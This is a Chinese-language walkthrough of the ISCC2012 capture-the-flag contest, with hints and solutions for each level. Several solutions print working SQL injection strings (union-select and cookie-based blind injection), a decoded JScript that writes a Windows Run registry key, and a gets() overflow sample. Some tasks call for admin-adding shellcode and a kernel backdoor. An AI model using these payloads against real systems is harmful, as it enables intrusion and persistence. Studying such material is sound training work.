ISCC2012信息安全对抗竞赛题⽬分析
From: & nightx.info
此⽂为简单分析绿盟&北理⼯安全对抗技术竞赛ISCC2012年线上赛,算是个笔记记录整理⼀下取key的过程。
此⽂公开时线上赛已结束。题⽬包含以下关卡:
基础关各种类型的最简单的题⽬,最简单的得分点,考察各个⽅⾯的基础知识
脚本关脚本注⼊、欺骗和跨站
破解关⼀个编译好的程序,我怎么知道它是怎么⼯作的?
溢出关软件的分析、利⽤及发掘技术,探索⼆进制代码背后的秘密
内核关考察内核驱动的编写,探究内核安全的奥秘
真实关真实的环境,没有硝烟的战场
其中个⼈完成所有取key题⽬,需要上传源⽂件的题⽬全部忽略。
如下为各关⼼得,仅代表个⼈思路。有⽂件的题⽬未上传,有需要的朋友可Mail联系。
=-=-=-=-=-=-=-=-=-=
基础关[共10关]:
第⼀关:船票制造商
在去寻王⼩明的其他信息之前,我们先要知道船票的制造商是谁。经过⼀番调查,我们知道了制造商的名称。我们藏到了这个页⾯下,作为抢夺船票活动的热⾝,⼤家出它来吧。
Key:⼀个保留节⽬,查看源码查即可。
第⼆关:登船地点
⼩明发现,登船的地点是⼀个负有盛名的景点,他想提前去那⾥看看,住⼀段时间,等待世界末⽇的到来。于是他上到⼀个他⼀直喜欢的⾃助游的⽹站——
“dodo”,查以前⼈们的攻略游记,发现⼀个叫“想流浪”的驴友写的游记很好看,照的照⽚也很美。这篇游记上传于“2010年8 ⽉10⽇”,⽽“想流浪”的出游⽇期是“2010年6⽉12⽇”。
那么,⼩明的登船地点(名字有5个字呦)到底在哪⾥呢?
Key:到⽹站,留意关键词为五个字
第三关:登船⽇期
王⼩明时常出国,他在国外游玩期间还申请了个facebook。他偏偏⼜爱炫耀,有什么都要说出去。据说他买完了船票就跑到脸书上把⾃⼰的要登船的事情说了出去,引来了众⼈羡慕的眼光。现在,我们需要到他发的那条状态,应该能得到⼀个登船⽇期,请以“YYYY-MM-DD”的格式发给我们。(据说他的 ID是Shellming Wong,头像是个囧,居住在北京。)
Key:会FQ就能到。
第四关:放弃了别⼈,只为了⾃⼰
保存所有登船⼈员的数据库的信息外泄了,⼩强(uid=345)拿到了权限。他想把⾃⼰的信息加进去,所以他打算偷梁换柱,替代⼩明(uid=564),使⾃⼰拥有⼩明的权限,⼀个包含⼈员信息的表名称为person,编号所在列名为uid.
Key:⼀个简单的sql语句
update person set uid=345 where uid=564
第五关:购买船票的具体地点
你也许需要知道这张船票的购买地,以便能够进⼀步了解它的相关信息,下⾯这个貌似正则表达式的式⼦,也许会提供你⾜够的信息哦。
表达式:
?[Copy to clipboard]View Code HTML1
(?<a>h)(?<b>u)(?<c>a)i\s+\k<a>\k<b>\k<c> 0\d{2}5
Key:
看到这个题⽬难下不少朋友。关于正则表达式略有头疼。
(?exp) 匹配exp,并捕获⽂本到名称为name的组⾥,也可以写成(?’name’exp)
可以⾃⼰指定⼦表达式的组名。要指定⼀个⼦表达式的组名,请使⽤这样的语法:(?\w+)(或者把尖括号换成’也⾏:(?’Word’\w+)),这样就把\w+的组名指定为Word了。要反向引⽤这个分组捕获的内容,
你可以使⽤\k,所以上⼀个例⼦也可以写成这样:\b(?\w+)\b\s+\k\b。
故匹配出来应该为
huai hua 0??5
??为数字,由于题⽬说数字不是随意的。百度得到怀化(区号0745)。结果就出来了。
第六关:领取船票还需要⾝份证号
王⼩明在⽹上购买船票时最重要的信息就是⾝份证号了,同时⽹站给了他⼀个程序⽤来算出⼀个⽤来替代⾝份证号的号码,这之后他在⽹上提交的就都是转换过后的密码了。⼩⽩⽆奈之下,从⽹站那⾥拿来了程序,⼜截到了⼩明跟⽹站联络时使⽤的号码:172680739204438579。程序⾥有⼀段这样的代码:“B311 F6E3 B30A F6F3 8AC4”。
细看起来,如果把0到9分别放到寄存器AL中去,将会得到10个不同的数值,就可以得到0-9之间的对应关系,进⽽将原码⼀位⼀位地转换成替代码。⼩⽩⽐较懒,所以解出⾝份证号码就交给你了。
Key:
⼗六进制放到OD中得到汇编代码。
B3 11 mov bl, 11
F6E3 mul bl
B3 0A mov bl, 0A
F6F3 div bl
8AC4 mov al, ah
代码作⽤为数字乘以11后除以A的余数,到对应如下规律
0-0
1-7
2-4
3-1
4-8
5-5
6-2
7-9
8-6
9-3
172680739204438579对应为
316840************
第七关:捕风捉影
漫天散布着的是末⽇的⽓息,你嗅到了么?
Key:程序,抓包不解释
第⼋关:保存我的船票序列号
为了较为安全的保存好完整的序列号,⼩明利⽤⼤⼀学的C语⾔编写了⼀个简单的程序把序列号藏了起来,获取序列号时⾸先得输⼊查看序列号的密码,通过⽐对确定查看权限,⼩明动了点⼉⼩聪明,不过功夫还很不到家,他的代码存在⼀个溢出漏洞,利⽤这个漏洞把序列号取出来吧~
Key:溢出嘛,多填点数字就有了
第九关:船票的CD-KEY在哪⾥
在获取真正的船票之前,可以从⽹上获得⼀张预览版。当我们把各个数据提交上去后,得到了⼀个程序,输⼊正确的⼝令后能得到⼀个船票底板。不过由于是王⼩明买的船票,我们不知道⼝令,但我们⼜需要底板上的CD-KEY。所以还烦请你把底板破解出来吧。
Key:简单⽤OD分析下程序就可以⽆压⼒到Key
第⼗关:⼜见密码
最后的时刻到了,要登陆⼩明的账号去领取船票,我们知道他的密码是在数字10071与90089之间。同时了解到密码经过下⾯这个dll⽂件中的 decode函数加密后结果是68912。现在,请你写⼀个⼩程序,出这个密码是什么,并且提交,dll可以直接下载。提⽰⼀句:调⽤dll中的函数的名称为decode,函数的输⼊参数是⼀个数字~祝您好运
Key:编写程序调⽤dll,或者直接IDA分析就容易发现key。
=-=-=-=-=-=-=-=-=-=
脚本关[共6关]
第⼀关
你对linux命令知道多少,查看我的密码⽂件吧~
key:cat/ls命令即可查看
第⼆关
貌似数据库⾥有个USER的表,表有⼀个USERNAME的字段,到底内容是啥?出来吧~
Key:sql语句
/script2/2012/2/page.php?page=1 and 1=2 union select 1,username from user
第三关
⽆论输⼊什么都是已登录,到底是为什么呢?
c语言搜题软件推荐Key:抓post包,修改flag=0即可
第四关
数据库居然就放在了/data中。。晕死。。
Key:
/data⽬录,数据库名ISCC.mdb
提⽰在:
?[Copy to clipboard]View Code HTML2
3
<p>难道数据库中没有您的⽤户名?<a href=# onclick=alert("⽹站维护中。。。")>点击这⾥查</a></p>
<!-- search from ISCC.mdb-->
数据库MDB加密,随便⼀个Access密码查看⼯具可得密码。
第五关
密码明⽂的年代,⽤cookie也能搜索!疯狂的世界,我的key在哪⾥呢?
Key:
Get与POST防注⼊,只能通过cookie⼿⼯注⼊。
利⽤title=参数实现。为ASP+Access。⼿⼯实现。
提⽰key是关键字,故构造语句需要[]
搜索型注⼊
select * from 表 where news like ‘%1%’ order by id desc;
使⽤cookie⼿⼯注⼊,注意构造语句后⽤⼯具转换为16进制作cookie。
在上⾯的1处,⾸先构造
1%’ and 0<>(select count(*) from [key]) and ‘%’=’
这样前后刚好能够闭合,若存在key表,则会正常显⽰数据
⽽后构造
1%’ and i<(select count(*) from [key]) and '%'='
i从0开始判断,当i=3时出错,i=4时正常,有三条数据
1%' and 1=2 union select * from [key] and '%'='出现from⼦句错误,换种⽅法闭合
1%' and 1=2 union select * from [key] where [key] like '提⽰列数不匹配
1%' and 1=2 union select 1,2,3 from [key] where [key] like '得到显⽰2
1%' and 1=2 union select 1,[key],3 from [key] where [key] like '
得到key:1aHGJ47PQlguLqxv
第六关
貌似只有那些没有安全意识的⼈才能够做出来的题⽬。。推荐使⽤IE,当然途径很多。
?[Copy to clipboard]View Code HTML0
1
2
<script language="JScript.Encode">
#@~^7gEAAA==-mD~Dks+D,'Srx9WARk+O( Y+M-l^`@#@&77d6E mOkGU,P~M rY I nLv# @#@&i\CD,G(L~{P +h,b1Ok7+pr(Ln^D`JqjmMkwD
jt V^Jbi@#@&iW8Lc]+T.rD+`Eun2e{d6;bJ|HzZC&1Aw-UWWYSl.n'-Hb^DK/W6Ow-qk NGhdw'kkWUw'I;x'w&?/;JBJtDYalzJhAhckd^^l4cGDTz/1.rwD&J
TF+&+zq |+&|&* 4Y:sEBJ]2VmU}E*i,@#@&i\m.P&/^mjls;P',G4NRI L]+mNvJu|3e|S6ZzJ{tb /u&12wwUWWYSCM+w'HbmDK/KWY'- k NGAk--;;DM+xD#nDkkKxw-]; -wqU /Zr#I@#@&dkWc&/^mjC^Ene'rJ#@#@&i`@#@&d7l^+.OvJ来⾃qU/Z的关照。。r#i@#@&7dSk NGh ^^+CD&UY D-
C^`Yrh D bi@#@&i8@#@&d)@#@&i~lT!Z#IyZQAAA==^#~@
</script>
Key:JScript.Decode解密⼀下
var timer =window.setInterval(
function WriteReg(){
var obj = new ActiveXObject(“WScript.Shell”);
obj.RegWrite(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”,”/script3/2012/6/12_23_34.html”,”REG_SZ”);
var IsccValue = obj.RegRead(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”);
if(IsccValue!=”")
{
alert(“来⾃ISCC的关照。。”);
window.clearInterval(timer);
}
}
,5000);
得到
/script3/2012/6/12_23_34.html
即答案:the password is !@#$%234
=-=-=-=-=-=-=-=-=-=
关[共四关/前三关为key]
第⼀关
Key:⽆壳⽆保护,明⽂参考得到key为2012
第⼆关
Key:使⽤2012为⽤户名到正确的注册码,同样⽆壳⽆保护,载⼊OD下断点单步跟踪即可获取key
第三关
Key:也是难到不少新⼿的题⽬,有壳保护,打算不脱壳破解,运⾏StrongOD插件隐藏OD,运⾏,bp MessageBoxA断点,弹窗,中断,堆栈回溯,回到程序领空。字符串参考即可到key。
第四关
这是警察抓⼩偷的对话⼯具。。希望⼤家⾃⼰写⼀个程序,能够实现类似Thief端与我们提供的police实现的主要对话功能~
语⾔限定为C/C++。。。
提交程序源代码以及程序运⾏截图~
程序没有经过多⽅测试,bug不少,不喜勿喷。仅供学习,娱乐。。
Key:不是取key,没有做,⼤致看了下题⽬,只是有点好奇,这是破解题⽬?还是偏向吧…
=-=-=-=-=-=-=-=-=-=
溢出关[共两关/第⼀关为key]
第⼀关
⼩妹妹记性差,我给她做了⼀个简单的密码验证程序,需要输⼊正确的密码,才会显⽰正确信息,这⼀天,她倔脾⽓上来了,⾮要输⼊“ISCC2012”这个密码,去通过验证,我觉得这明显不⾏,但是当她输⼊⾃⼰的英⽂绰号后竟然过了。。。那你猜她的名字⾄少有多长。。。
程序源代码如下:
#include “stdio.h”
#include “string.h”
int main()
{
int isPassed;
char yourname[20];
char answer[10];
char password[10] = “woshimima”;
gets(answer);
isPassed = (strcmp(password, answer) == 0) ? 1 : 0;
gets(yourname);//注⼊点,要在这⾥让程序溢出,让isPassed为1
if(isPassed)
printf(“You got it, %s!\n”, yourname);
else
printf(“Hey %s, u may try again!”, yourname);
getchar();
return 0;
}
Key:记得是0day安全书中的例题?OD跟踪调试,得到21位数字恰好覆盖。
第⼆关
想要⼀段shellcode。。。
主要功能:使⽤cmd添加名为xkjcf的⽤户,并将该⽤户添加在administrators⽤户组中.
系统环境:Windows XP Professional 版本 2002 SP3
啥叫shellcode呢?
内存中的数据就是许许多多的010********.。。。。。。。。当作字符来读,他就是字符;当作程序执⾏,他就是程序。那么shellcode的就是⼀个以code形式写⼊内存,但是以shell⾝份运⾏的⼆进制码呦~~
Key:提交题⽬,没有做。不过不难,也算是经典例题。
=-=-=-=-=-=-=-=-=-=
内核关[共5关/第⼀关为Key]
第⼀关
过关密码就在内核⾥,编写⽤户态程序把它读出来吧~
提⽰:可以使⽤GetFileSize查询密码的长度
Key:投机取巧的⽅法,C32asm发现Key为u7h0E3XvF0,题⽬有表⽰使⽤GetFileSize,分析后取长度为前5个字符。
以下⼏关把题⽬分享出来,不是取key题⽬,没有做,有兴趣的朋友可以做下。
第⼆关
来到内核的第⼆关,让我们做点⼉有意义的事情吧,进程隐藏技术是内核安全⾥⼀个古⽼但⼜颇受关注的技术,Danny刚⼊门内核安全时第⼀个就拿它开⼑,你来实现⼀个吧,在⾥隐藏掉即可。(需要提交源代码,及编译时必须的⽂件)
第三关
对Linux内核进⾏kernel exploit攻击有⼀个很经典的⽅式就是获取内核中syscall_table,然后对系统调⽤进⾏替换。
⽽获取syscall_table有很多种⽅式,⽐如查看System.map或者/proc/kallsyms以查syscall_table地址,但这两种⽅式在很多情况下⽆法使⽤,⽐如系统内不存在
System.map或者syscall_table在kallsyms中隐藏了⽽不显⽰,另⼀种⽅式则是通过编写⼀个系统模块在内核态运⾏时⼿动搜索其地址。
现在请你完成⼀个可以正确查syscall_table地址的内核模块,并在加载时⽤printk把地址进⾏显⽰。
要求:
1.测试环境为Linux Kernel 3.0(或更⾼版本) x86;
2.提交⼀个压缩包(⽤或tar.bz2格式),包含内核模块源代码、Makefile,最终要求运⾏⽤户程序后可以显⽰出”syscall_table = 0x*****!”。测试流程⼤致如下:(root 状态操作)
# make
# insmod sys_call_module.ko
# dmesg | grep syscall_table
然后判断该返回的地址是否正确。
注意:
通过/proc/kallsyms或者/usr/src/linux/vmlinuz查符号索引得到的syscall_table有时可能并不正确,所以验证⾃⼰代码时不要以此为标准。
要求:提交⼀个压缩包,内含源代码和Makefile
第四关
Neo⼀直在Matrix的⼀个⼦系统Zeus中潜伏着,⽽且最近⼀个⽉幸运的骗取到⼀个Kernel贡献者的⾝份。
昨天,Zeus交给Neo⼀个任务,帮它实现223号系统调⽤,详细说明在内部mail list的⼀封邮件中。
Neo想在实现必要功能的同时留下⼀些⽇后可供Morpheus和Trinity⽇后使⽤的隐藏漏洞,现在请你帮
助Neo完成创建新223号系统调⽤的任务,实现的系统调⽤功能细节不需考虑,只要能使⽤户正常调⽤即可。
现在假设Zeus的内核为x86的Linux Kernel 3.0,并且32位Linux内核并未给223系统调⽤号分配实际的系统调⽤函数。你需要把要求的syscall实现成⼀个可以动态加载内核模块,系统调⽤格式及部分内容如下:
asmlinkage int neo_syscall(void) {
printk(KERN_DEBUG “In neo_syscall!\n”);
/* test the return value */
return 223;
}
要求:
1.需要以动态加载模块的形式增加此系统调⽤,不允许修改内核源码;
2.系统调⽤函数的代码只要使⽤上述代码即可,不需考虑其他细节;
3.编写⽤户空间程序以测试该系统调⽤是否可⽤,测试程序如下:
/* user_test.c */
#include
#include
int main()
{
int ret = 0;
ret = syscall(223);
printf(“return value = %d\n”, ret);
return 0;
}
4.测试的环境为Linux Kernel 3.0(或更⾼版本) x86;
5.提交的⽂件为⼀个压缩包(⽤或tar.bz2格式),包含neo_syscall内核模块的源代码、Makefile、⽤户程序 (即3中提供的代码),最终要求运⾏⽤户程序后可以显⽰出”In neo_syscall!”(printk进⾏DEBUG级别显⽰即可,不⼀定要输出到stdout)。
测试流程⼤致如下:
(root 状态操作)
# make
# insmod sys_call_module.ko
(普通⽤户状态操作)
$ ./user_test
$ dmesg | grep “In neo_syscall!”
提交:
⼀个压缩包,内含源代码和Makefile
第五关
该驱动实现了⼀个workqueue(具体参考ExQueueWorkItem函数),⼯作队列线程会每隔1秒钟输出⼀次,打印出⾃⾝函数地址。
假设你不知道该函数地址。请根据workqueue在内核中的实现,出⼀种⽅法,可以列出第三⽅驱动加载后创建的workqueue的真实函数地址。
以这个驱动为例,只需⼀种系统即可。
=-=-=-=-=-=-=-=-=-=
真实关[共两关]
⾮取key题⽬,给出两个⽬标,提交报告与视频。因为服务器⽐较慢,没有做。
=-=-=-=-=-=-=-=-=-=
Summary:
有些题⽬蛮不错,能让⾃⼰下⽋缺的知识。不过可能由于时间等问题,竞赛⽅管理组织⽅⾯还有待做得更好。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论